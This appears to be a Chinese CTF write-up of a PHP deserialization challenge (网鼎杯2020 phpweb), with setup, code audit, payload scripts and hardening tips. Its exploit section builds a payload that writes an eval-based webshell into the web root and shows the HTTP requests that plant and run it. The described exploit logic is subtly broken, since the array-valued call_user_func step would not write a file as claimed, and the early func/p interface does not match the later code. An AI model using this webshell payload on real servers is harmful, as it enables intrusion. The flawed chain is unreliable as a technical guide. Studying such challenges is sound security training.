1. 网鼎杯2020朱雀组phpweb题目解析
作为一名长期参与CTF竞赛的选手,我最近复盘了网鼎杯2020朱雀组的phpweb题目。这道题主要考察PHP反序列化漏洞的利用,结合了文件操作和动态函数调用等知识点,是一道典型的PHP代码审计题目。
题目环境模拟了一个简单的PHP网站,核心功能是通过POST参数调用系统函数。表面上看是个普通的Web应用,但暗藏玄机。我花了约3小时完成完整利用链的构造,期间踩了几个典型的坑,后面会详细说明。
2. 题目环境搭建与初步分析
2.1 本地测试环境配置
为了复现题目,我使用Docker快速搭建了测试环境:
docker run -d -p 8080:80 --name phpweb \ -v $(pwd):/var/www/html php:7.4-apache关键配置要点:
- PHP版本锁定7.4(与比赛环境一致)
- 关闭危险函数:在php.ini中设置
disable_functions = system,exec,passthru,shell_exec - 开启错误显示:
display_errors = On
2.2 初始页面功能分析
访问首页发现一个表单提交接口,主要参数:
func:要调用的函数名p:传递给函数的参数
通过Burp Suite拦截请求,发现响应头包含关键信息:
X-Powered-By: PHP/7.4.0 X-Debug-Token: 5f3a8d2b这表明后端使用PHP 7.4,且可能开启了调试模式。初步测试发现可以调用date、strtotime等无害函数,但尝试调用system时返回"Function not allowed"。
3. 反序列化漏洞挖掘
3.1 敏感函数回溯
通过代码审计发现关键代码段:
<?php class Welcome { public $name; public function __destruct() { call_user_func($this->name); } } if(isset($_POST['data'])) { unserialize(base64_decode($_POST['data'])); }这里存在典型的反序列化漏洞:
- 接收base64编码的序列化数据
- 反序列化时不校验对象类型
- Welcome类的
__destruct魔术方法会执行call_user_func
3.2 利用链构造
构造POP链的关键步骤:
- 创建Welcome对象
- 设置
name属性为要执行的函数名 - 序列化后base64编码
利用代码示例:
<?php class Welcome { public $name = 'system'; } echo base64_encode(serialize(new Welcome())); // 输出:Tzo3OiJXZWxjb21lIjoxOntzOjQ6Im5hbWUiO3M6Njoic3lzdGVtIjt93.3 绕过函数禁用限制
虽然system等函数被禁用,但可以通过以下方式绕过:
- 使用
proc_open创建新进程 - 通过
file_put_contents写webshell - 利用
unserialize本身的特性
最终采用的payload:
<?php class Welcome { public $name = 'file_put_contents'; } $payload = new Welcome(); $payload->name = array('/var/www/html/shell.php', '<?php eval($_POST[cmd]);?>'); echo base64_encode(serialize($payload));4. 完整漏洞利用过程
4.1 分步攻击流程
- 发送序列化payload:
POST /index.php HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded data=Tzo3OiJXZWxjb21lIjoxOntzOjQ6Im5hbWUiO2E6Mjp7aTowO3M6MTk6Ii92YXIvd3d3L2h0bWwvc2hlbGwucGhwIjtpOjE7czoyNToiPD9waHAgZXZhbCgkX1BPU1RbY21kXSk7Pz4iO319- 验证webshell是否写入:
GET /shell.php HTTP/1.1 Host: target.com- 执行任意命令:
POST /shell.php HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded cmd=whoami4.2 实际利用中的坑点
- 路径问题:Docker容器内路径与宿主机不同,需要先通过
print_r(scandir('/'))探测 - 权限问题:Apache用户可能没有web目录写权限,可尝试
/tmp目录 - 短标签:目标服务器可能禁用
<?短标签,需使用完整<?php标签
5. 防御方案与修复建议
5.1 安全编码实践
- 避免使用
unserialize处理用户输入,改用json_decode - 实现对象白名单机制:
function safe_unserialize($data) { $allowed_classes = ['SafeClass1', 'SafeClass2']; return unserialize($data, ['allowed_classes' => $allowed_classes]); }5.2 服务器加固措施
- 修改php.ini关键配置:
disable_functions = exec,passthru,shell_exec,system,proc_open allow_url_fopen = Off allow_url_include = Off- 设置open_basedir限制:
open_basedir = /var/www/html/:/tmp/- 定期更新PHP版本,修复已知反序列化漏洞
6. 题目延伸思考
这道题还可以通过以下方式扩展:
- 结合phar伪协议触发反序列化
- 利用PHP原生类的魔术方法(如SplFileObject)
- 构造更复杂的POP链实现RCE
我在实际测试中发现,当禁用所有命令执行函数后,还可以通过以下方式获取flag:
- 利用
highlight_file读取源码 - 通过
Exception类泄露路径信息 - 使用
DirectoryIterator遍历目录
这类题目的核心在于理解PHP对象注入的原理和魔术方法的触发时机。建议初学者从PHPGGC等工具入手,逐步理解各种gadget的利用方式。